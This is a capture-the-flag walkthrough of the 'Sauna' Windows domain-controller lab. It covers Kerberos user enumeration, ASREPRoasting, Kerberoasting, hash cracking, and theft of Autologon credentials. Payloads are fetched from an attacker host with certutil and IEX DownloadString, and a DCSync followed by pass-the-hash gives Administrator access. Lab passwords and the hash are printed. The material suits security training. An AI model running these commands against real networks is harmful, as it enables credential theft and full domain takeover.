PRIMARY CATEGORY → EASY

Summary

  • AD Enumeration via LDAP Anonymous Bind with ldapsearch
  • Finding the Domain Naming Convention through Username Permutation using username-anarchy
  • Web Fuzzing with Gobuster
  • Kerberos User enumeration with kerbrute and statistically-likely-usernames
  • ASREPRoast attack with Impacket’s GetNPUsers.py
  • Cracking hashes (AS_REP_ENC_PART/TGS_REP_ST_ENC_PART) with hashcat and rockyou.txt
  • AD User enumeration with RPCClient (Samba suite), Impacket’s GetADUsers.py and Net RCP (Samba suite)
  • Domain SPNs Enumeration via LDAP with ldapsearch
  • Kerberoasting attack with Impacket’s GetUserSPNs.py
  • SMB Password Spraying with netexec
  • AD Enumeration with ldapdomaindump.py
  • Abusing Autologon plain credentials for LPE
  • Local System enumeration using winpeas.exe
  • DACL Enumeration with Impacket’s DACLEdit.py and Powerview.ps1
  • BloodHound-CE deployment locally
  • Collecting Data with collectors/ingestors such as BloodHound.py (Remotely) and SharpHound.exe (Locally)
  • DCSync attack remotely with Impacket’s Secretsdump.py


Setup

Directory creation with the Machine’s Name

mkdir Sauna && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

mkdir {Scans,Data,Tools}

Recon #1

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
ping -c1 10.129.95.180

As mentioned, according to the TTL, It seems that It is a WINDOWS Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG sauna.allPorts 10.129.95.180

Open Ports →

53, 80, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5985, 9389, 49667, 49673, 49674, 49676, 49688 and 49695
Comprehensive Scan

We can apply a little filter to the sauna.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information

Note that this scan is also exported to have evidence at hand

nmap -p$( grep -ioP --color -- '\d{1,5}(?=/open)' sauna.allPorts | xargs | sed 's@\s@,@g' ) -sCV -n -Pn --disable-arp-ping -oN sauna.targeted 10.129.95.180
139, 445 - SMB

As always, let’s start by listing available information about the target through SMB

Judging by the open ports, it seems that we are facing a DC (Domain Controller)

So, we can gather some general information such as the hostname, OS Version and domain name

nxc smb 10.129.95.180

Moreover, there is relevant information related to security aspects such as SMB Signing and if the target supports SMBv1

Be aware that disabling SMB Signing involves being exposed to some primes such as NTLM relay over SMB

This attack vector allows an actor to be able to authenticate to the target via NTLM over SMB by relaying a received authentication over SMB or HTTP

The received authentication from a victim is achieved either by auth coercion or by Multicast name resolution protocols poisoning

However, this does not apply in this scenario as it is an standalone machine and reflective NTLM relay was patched on MS08-068

So, having said that, let’s add the hostname and domain to the /etc/hosts file

printf "%s\t%s\t%s\t%s" "10.129.95.180" "sauna" "egotistical-bank.local" "sauna.egotistical-bank.local" >> /etc/hosts

This will result usefull when performing kerberos-related attacks, as it has a strong link with DNS

Next, we can try to list the available shares on the DC

Since we do not have any valid domain credentials, we can check if either Null or Guest authentication are enabled

To do so, proceed as follows →

nxc smb sauna --username '' --password '' --shares

Null Authentication is not enabled, let’s move on to Guest Authentication

nxc smb sauna --username 'guest' --password '' --shares

The guest account is disabled, which was to be expected since it is the default behaviour

We can also try a random user account to see how the target responds

nxc smb sauna --username 'anyRandomUser' --password '' --shares

But nothing either

Let’s move on to another service

135 - RPC

Remember that the RPC Endpoint Mapper is listening on this port, and is responsible for mapping any RPC Endpoint to a certain Dynamic Port[s] or system namedpipes

We could try to authenticate to an specific RPC endpoint in order to list some information about the DC and the domain such as users, groups, GPOs and so on

Since we still do not have credentials, we will carry out another Null authentication

rpcclient --user '' --no-pass sauna --command 'srvinfo'

And we receive another STATUS_ACCESS_DENIED error, as with SMB enumeration

There is no need to try a guest authentication as we already know that this account is disabled

For the time being, we cannot do much more here, let’s move to the next

53 - DNS

In Active Directory, the DC acts as a nameserver who manages the DNS zone of the domain

The AD feature related to this task is the Active Directory Integrated DNS (ADIDNS)

An authenticated user can lists all the existent DNS records and creates new ones in the domain DNS zone

As we mentioned, we do not have any valid domain credentials yet, so there is not much we can do aside a Domain Zone Transfer

dig axfr egotistical-bank.local @10.129.95.180

And it failed…

389, 636 - LDAP[s]

As with the previous protocols, we are restricted to a very limited scope of action

However, we can try an LDAP anonymous bind to see if we are able to list some information related to the given domains

First, let’s see if we can extract the domain naming contexts

ldapsearch -x -H 'ldap://sauna.egotistical-bank.local' -LLL -s base namingContexts

We can use the first naming context to build a query scope according to the following dn (distinguised name)

dc=egotistical-bank,dc=local

So, proceed as follows to list the data for the entire domain

ldapsearch -x -H 'ldap://sauna.egotistical-bank.local' -LLL -b 'dc=egotistical-bank,dc=local'

But there is not much information, which is expected since we are not authenticated

However, after applying several filters and digging into the provided data →

ldapsearch -x -H 'ldap://sauna.egotistical-bank.local' -LLL -b 'dc=egotistical-bank,dc=local' distinguisedName | grep -i -- '^dn'

It seems that we have a valid user account called Hugo Smith

88 - Kerberos #1

From here, we have to find out the naming convention used when creating the domain user accounts

For this task, we can use username-anarchy to create a userlist with a few variations of the nameHugo Smith. Then, we can carry out a domain user enumeration with kerbrute’s userenum module to check if any of the usernames are valid

So, let’s create the userlist

git clone https://github.com/urbanadventurer/username-anarchy username-anarchy
cd !$ && ruby username-anarchy hugo smith > users.list

Next, build the kerbrute binary in order to continue with the user enumeration

git clone https://github.com/ropnop/kerbrute kerbrute
cd !$ && go build -ldflags '-s -w' .

Provide the created userlist as the input wordlist for the enumeration

kerbrute userenum --dc 'sauna.egotistical-bank.local' --domain 'egotistical-bank.local' users.list

And now, we may know the naming convention along with a valid domain user account

With a valid user account, we can check if it has the USER_DONT_REQ_PREAUTH flag set on its userAccountControl attribute by performing an ASREPRoast attack

If so, the KDC will respond with an AS_REP containing a TGT and an Encrypted Part, encrypted with one key derived from the given user account password

We can use Impacket’s Get-NPUsers.py to obtain a hash ready to pass as input to cracking tools such as hashcat

echo 'hsmith' > users.list
GetNPUsers.py -dc-ip 10.129.95.180 -no-pass -usersfile ./users.list 'egotistical-bank.local/'

But this user account is not susceptible to ASRepRoast

So, before proceed to carry out a more exhaustive user enumeration with kerbrute using a userlist from statistically-likely-usernames, let’s check out the website hosted on the DC to see if we can gather more relevant information

80 - HTTP

First, we send an HTTP request to see the HTTP response headers

curl --silent --location --request GET --head "http://10.129.95.180"

The web server is an IIS. On Windows hosts, the web server is usually either an IIS or a XAMPP implementation

We can gather information about the web technologies running on the website as follows

whatweb 'http://10.129.95.180'

But there is nothing interesting

Let’s access the website from the browser

Wappalyzer does not report anything that we already don’t know

Zoom in

Browsing the website, the only interesting thing we found is the following section related to the team members

Zoom in

But I dont think those names can give us valid user accounts

Let’s apply fuzzing to the website

In this case, we will search for directories and HTML files since the home is an index.html

gobuster dir --threads 100 --extensions html --wordlist /usr/share/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt --url 'http://10.129.95.180'

We did not find anything interesting either

88 - Kerberos #2

We are running out of options, one of the few remaining things we can perform is a kerberos user enumeration with a larger wordlist taking advantage of the fact that with we know the domain naming convention

This time, we will use a wordlist from statistically-likely-usernames

Specifically, the one matching the discovered naming convention → jsmith.txt

kerbrute userenum --dc 'sauna.egotistical-bank.local' --domain 'egotistical-bank.local' /usr/share/statistically-likely-usernames/jsmith.txt

And we have found another user account called fsmith


Exploitation #1

ASREPRoasting attack

Reference

Let’s check if this user is susceptible to an ASREPRoast attack

echo 'fsmith' >> users.list
GetNPUsers.py -dc-ip '10.129.95.180' -no-pass -outputfile hashes -usersfile ./users.list 'egotistical-bank.local/'

And this user has the DONT_REQUIRE_PREAUTH flag set. Let’s try to crack this hash

The hashcat type for the given hash format can be extracted from here or running

hashcat --example-hashes | less
hashcat --force -O --attack-mode 0 --hash-type 18200 hashes /usr/share/wordlists/rockyou.txt

And we cracked it!

hashcat --force -O --attack-mode 0 --hash-type 18200 hashes /usr/share/wordlists/rockyou.txt --show

The password is →

Thestrokes23

Let’s check this password for the user fsmith

nxc smb sauna --username 'fsmith' --password 'Thestrokes23'

And we have valid credentials! This change the game completely

Having valid credentials we can perform an exhaustive enumeration of the entire domain and all its child objects


Recon #2

First of all, let’s list all the domain user accounts

We can do this in several ways

  • RCPClient

RPCClient

rpcclient --user 'fsmith%Thestrokes23' sauna --command 'enumdomusers' | grep -ioP --color -- '^user:\[\K[\w\-_]+(?=\])'
  • Impacket’s GetADUsers.py

GetADUsers.py

GetADUsers.py -dc-ip '10.129.95.180' -all 'egotistical-bank.local/fsmith:Thestrokes23' | awk '/^-+/ { p = 1 ; next } p { print $1 }'

However, the cleanest way is →

  • Net
net rpc user -U 'fsmith%Thestrokes23' -S 'sauna'

Let’s perform ASREPRoasting again agaisnt these users

First, dump the output of one of the above commands into a file and proceed as follows

GetNPUsers.py -dc-ip '10.129.95.180' -no-pass -usersfile ./users.list 'egotistical-bank.local/'

In this case, there are no more susceptibles users to this attack aside from the compromised user account


Exploitation #2

Kerberoasting attack

Reference

As we have valid domain credentials, we can list all existent servicePrincipalNames attributes of any domain service account in order to request a Service Ticket (ST) for the given SPN and obtain a Service Ticket from the TGS, which is encrypted with a key derived from the service account password related to the requested SPN

I.e. If an actor requests a service ticket (ST) for a specific SPN of a service account by providing valid credentials (TGT + Enc-Sign Authenticator), the resultant ST will be encrypted with a key derived from the service account password

  • e.g.

Attacker authenticates as fsmith@egotistical-bank.local

Attacker requests a Service Ticket for HOST/jdoe.egotistical-bank.local

Service Ticket encrypted with a key derived from jdoe@egotistical-bank.local password

Therefore, if we end up cracking the service ticket, we will obtain the plain password of the given service account

We can list the existing servicePrincipalName attributes of any service account as follows

ldapsearch -x -LLL -H 'ldap://sauna.egotistical-bank.local' -D 'fsmith@egotistical-bank.local' -w 'Thestrokes23' -b 'dc=egotistical-bank,dc=local' '(servicePrincipalName=*)' servicePrincipalName  | grep -i -- 'servicePrincipalName'

There is one SPN that stands out →

SAUNA/HSmith.EGOTISTICALBANK.LOCAL:60111

This SPN is from the hsmith user account

We can check it as follows

ldapsearch -x -LLL -H 'ldap://sauna.egotistical-bank.local' -D 'fsmith@egotistical-bank.local' -w 'Thestrokes23' -b 'dc=egotistical-bank,dc=local' '(samAccountName=hsmith)' servicePrincipalName | grep -i -- servicePrincipalName

Therefore, an actor could request a service ticket for that service principal name and try to crack it to obtain the password of the user hsmith

We can perform this task using the Impacket’s GetUserSPNs.py

GetUserSPNs.py -dc-ip '10.129.95.180' 'egotistical-bank.local/fsmith:Thestrokes23'

The SPN registered for the user hsmith appears there, so we can request a hash in hashcat format

GetUserSPNs.py -dc-ip '10.129.95.180' -request -outputfile hsmith.hash 'egotistical-bank.local/fsmith:Thestrokes23'

Let’s try to crack it with hashcat

Earlier we mentioned a common way to search for the suitable hash type according to the input hash

So, look for it and proceed as follows

hashcat --force -O --attack-mode 0 --hash-type 13100 hsmith.hash /usr/share/wordlists/rockyou.txt
hashcat --force -O --attack-mode 0 --hash-type 13100 hsmith.hash /usr/share/wordlists/rockyou.txt --show

It is the same password as for the user fsmith


Recon #3

We can perform a Password Spraying with that password to check for credentials reuse in the remaining user accounts

nxc smb sauna --username users.list --password 'Thestrokes23' --continue-on-success

But we get nothing

For the time being, we have compromised two domain accounts, let’s see what we can do with them

It is time to perform a more exhaustive enumeration of all object in the domain

We will use ldapdomaindump for this task

  • Ldapdomaindump Setup
git clone https://github.com/dirkjanm/ldapdomaindump ldapdomaindump
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install -r requirements.txt
  • Running the tool
mkdir egotistical-bank_local.data
cd !$ && python3 ldapdomaindump.py --user 'egotistical-bank.htb/fsmith' --password 'Thestrokes23' --no-json --no-grep 'sauna'

The following content has been created in the above directory

tree .

Simply set up an HTTP Server with python and access them from the browser

python3 -m http.server 80

After digging into the data, there is not much relevant information apart from the fact that the users fsmith and svc_loanmgr belong to the Remote Management Users group, which means that both users may be able to establish a WinRM session with the DC

Zoom in

Let’s check it for the user fsmith, which we control

nxc winrm sauna --username 'fsmith' --password 'Thestrokes23'

Shell as Domain User

As expected, we can connect to the target via WinRM

To do so, let’s use Evil-winrm

evil-winrm --ip 'sauna' --user 'fsmith' --password 'Thestrokes23'

And we are in! Let’s see how we can privesc


Privesc #1

Initial Non-Privileged User → fsmith

Autologon stored credentials

As we know, the current user does not belong to any interesting group aside from Windows Remote Management users group

But, we could check the privileges associated with the current access token under the WinRM session to see if there are any interesting ones

whoami /priv

But there is no one interesting

We did not find nothing inspecting the target file system. We have checked system paths such as →

  • C:\
  • C:\Program Files
  • C:\Program Files (x86)
  • C:\Users
  • C:\Users\fsmith
  • C:\inetpub

Before running enumeration tools such as Winpeas.exe or PowerUp.ps1, let’s perform some additional enumeration

Let’s see if there are any stored credentials on the available Windows Vaults

cmdkey.exe /list

But there are not any

We can also check for autologon credentials stored in plain text. We can carry out this task by checking an specific value from the Windows Registry

Get-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon' | Select-Object DefaultDomainName, DefaultUsername, DefaultPassword | fl

And it seems that we have a valid credential for the user svc_loanmgr, which also belongs to the Remote Management Users group

In this case, we were able to obtain the autologon credential in plain text as the values were configured manually

There are other solutions/tools that store those credentials encrypted using Windows DPAPI (Data Protection API). To do so, DPAPI encrypt functions use the user masterkey, a symmetric encryption key created when a user logs into the system for the first time

One of this tools would be Autologon.exe from Microsoft Sysinternals

Therefore, we proceed to check if the obtained password is valid for the svc_loanmgr user

Just in case, we can also perform a password spraying with that credential

nxc smb sauna --username users.list --password 'Moneymakestheworldgoround!' --continue-on-success

In this case, the password is only valid for the mentioned user

But, we have compromised another domain user account!

We can use evil-winrm again to connect to the target via WinRM/MS-PSRP

evil-winrm --ip 'sauna' --user 'svc_loanmgr' --password 'Moneymakestheworldgoround!'

And we are in as svc_loanmgr

Privesc #2

Initial Non-Privileged User → fsmith

DCSync via DACL Abuse

There is not much more we can list in the target that we have already done before

We get nothing inspecting the C:\Users\svc_loanmgr directory

Therefore, before deploying BloodHound locally and import the data obtained into it by performing an AD dump, let’s run an exhaustive local enumeration tools such as Winpeas.exe

From the Attacker
curl --silent --location --request GET "https://github.com/peass-ng/PEASS-ng/releases/download/20251001-67326308/winPEASx64.exe" --output winpeas.exe
python3 -m http.server 80
From the Target
mkdir C:\Windows\Temp\WP
cd C:\Windows\Temp\WP
certutil.exe -urlcache -f -split http://10.10.16.41/winpeas.exe
.\winpeas.exe

After examining the output generated by the tool, there is not much that we do not already know


There is no need to import and run PowerUp.ps1 as the above tool performs a more exhaustive enumeration

As a last resort before proceeding with BloodHound, let’s check for any existing ACL that our controlled user account has over the Administrator account or the domain object

We can perform this task either remotely using Impacket DACLEdit.py or locally using Powerview.ps1

First, we will do it remotely

dacledit.py -dc-ip '10.129.95.180' -principal 'svc_loanmgr' -target 'Administrator' -action read 'egotistical-bank.local/svc_loanmgr:Moneymakestheworldgoround!'

There is no ACE for svc_loanmgr over Administrator

dacledit.py -dc-ip '10.129.95.180' -principal 'svc_loanmgr' -target-dn 'dc=egotistical-bank,dc=local' -action read 'egotistical-bank.local/svc_loanmgr:Moneymakestheworldgoround!'

Here, things change. The user svc_loanmgr has DCSync-related DACL rights over the domain object egotistical-bank.local

  • DS-Replication-Get-Changes
  • DS-Replication-Get-Changes-All

Therefore, we could perfom a DCSync attack remotely authenticating as svc_loanmgr user using Impacket Secretsdump.py

But, before that, let’s check the ACLs this time using Powerview.ps1

From the Attacker
curl --silent --location --request GET "https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/master/Recon/PowerView.ps1" --remote-name
python3 -m http.server 80
From the Target
IEX (New-Object Net.WebClient).downloadString('http://10.10.16.41/PowerView.ps1')
$sid = Get-DomainUser 'svc_loanmgr' | Select-Object -ExpandProperty objectSID
Get-DomainObjectACL 'dc=egotistical-bank,dc=local' -ResolveGUIDs -ErrorAction SilentlyContinue | Where-Object { $_.securityIdentifier -eq $sid }
Setting up BloodHound-CE

The same information could be presented more visually and schematically way using BloodHound

We can setup BloodHound locally as follows

wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli install

We have the credentials and URL to access the BloodHound panel above

Then, all docker containers related to BloodHound and Neo4J will be deployed automatically as we can see below

docker ps --all

All that remains is to run an collectors either remotely using BloodHound.py or locally using SharpHound

SharpHound.exe
  • From the attacker ⚔️
python3 -m http.server 80
  • From the target 🎯
mkdir C:\Windows\Temp\BH
cd C:\Windows\Temp\BH
certutil.exe -urlcache -split -f 'http://10.10.16.41/SharpHound.exe'
.\SharpHound.exe All

We can transfer the generated ZIP file to the target using smbserver.py and net use or faster using the download WinRM builtin functionality

download 20251001155321_BloodHound.zip
BloodHound.py

From the attacker ⚔️

Setup

git clone https://github.com/dirkjanm/BloodHound.py BH.py
cd !$ && git checkout bloodhound-ce
python3 -m venv .venv
. !$/bin/activate && pip3 install .
python3 BloodHound.py/bloodhound.py --collectionmethod All --domain 'egotistical-bank.local' --username 'svc_loanmgr' --password 'Moneymakestheworldgoround!' --nameserver '10.129.95.180' --domain-controller 'sauna.egotistical-bank.local' --zip

Next, we will import one of those generated ZIP files into BloodHound as follows

Zoom in

Zoom in

Once the data is imported, first, access to the “Search” section, search for the user account svc_loanmgr and mark it as owned 💀

Then, right click on its node and expand the “Outbound Object control” section

Zoom in

We can see that there is only one Outbound Object Control for the user svc_loanmgr over the domain object egostistical-bank.local

Zoom in

If we click on it, another graph is deployed where we can see several links established between the user svc_loanmgr object and the domain object

All of them related to the DCSync-related rights

Therefore, let’s perform remotely the DCSync attack

DCSync Attack

Secretsdump.py

secretsdump.py -just-dc-user Administrator 'egotistical-bank.local/svc_loanmgr:Moneymakestheworldgoround!@sauna'

And we have extracted the NT hash of the user Administrator via DRSUAPI by calling DCGetNCChanges

Note that this attack could be performed locally using the following Mimikatz module

lsadump::dcsync /domain:egotistical-bank.local /user:Administrator

Let’s check this hash for the user Administrator

nxc smb sauna --username 'Administrator' --hash '823452073d75b9d1cf70ebdf86c7f98e'

Next, connect to the DC via WinRM as Administrator and grab the flag

evil-winrm --ip 'sauna' --user 'Administrator' --hash '823452073d75b9d1cf70ebdf86c7f98e'

And that’s all for now, move on to the next one 😊!